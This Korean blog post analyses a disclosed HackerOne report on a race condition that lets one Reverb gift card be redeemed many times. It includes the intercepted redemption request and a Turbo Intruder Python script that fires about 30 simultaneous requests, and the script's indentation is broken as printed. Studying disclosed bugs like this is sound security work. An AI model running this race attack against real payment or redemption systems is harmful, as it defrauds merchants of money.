본문 바로가기

1-day 취약점 분석

[ 1-Day ] Race Condition allows to redeem multiple times gift cards which leads to free "money"

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.

 

-분석 레포트-

https://hackerone.com/reports/759247

 

Summary

 

기프트 카드를 여러 번 사용할 수 있는 RaceCondition 취약점을 발견했다. 기프트 카드 하나로 쉽게 물건을 구매하고, 반복해서 사용할 수 있는 방법이다. 

 

Steps to reproduce

 

사용된 도구 : Burp Suite Pro, Turbo Intruder

 

1. 로그인 진행

2. 기프트 카드를 구매한다. 

3. sandbox.reverb.com/<lang>/redeem 에서 상환을 진행한다. 

4. 다음과 같은 요청을 intercept 한다. 

POST /fi/redeem HTTP/1.1
Host: sandbox.reverb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sandbox.reverb.com/fi/redeem
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: keep-alive
Cookie: <cookies>

utf8=%E2%9C%93&authenticity_token=<CSRF token>&token=<GIFT card>&commit=Redeem+Now

 

5. Turbo Intruder로 Send

6. Turbo Intruder에서 아래와 같은 python 코드를 사용해준다. 

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
	engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
	table.add(req)

 

7. 이제, HTTP Header를 설정하는데, x-request: %s 와 같이 설정해준다. ( Turbo Intruder를 위해 필요하다. )

8. Attack 클릭

9. 다수의 200 응답을 확인 가능하다. 

10. Reverb Bucks를 확인한다. 이때, 기프트 카드의 실제 가치보다 훨씬 더 많은 금액이 있는지 확인한다. 

 

Impact 

 

Race Condition 취약점을 통해 거의 무료로 돈을 탈취할 수 있다.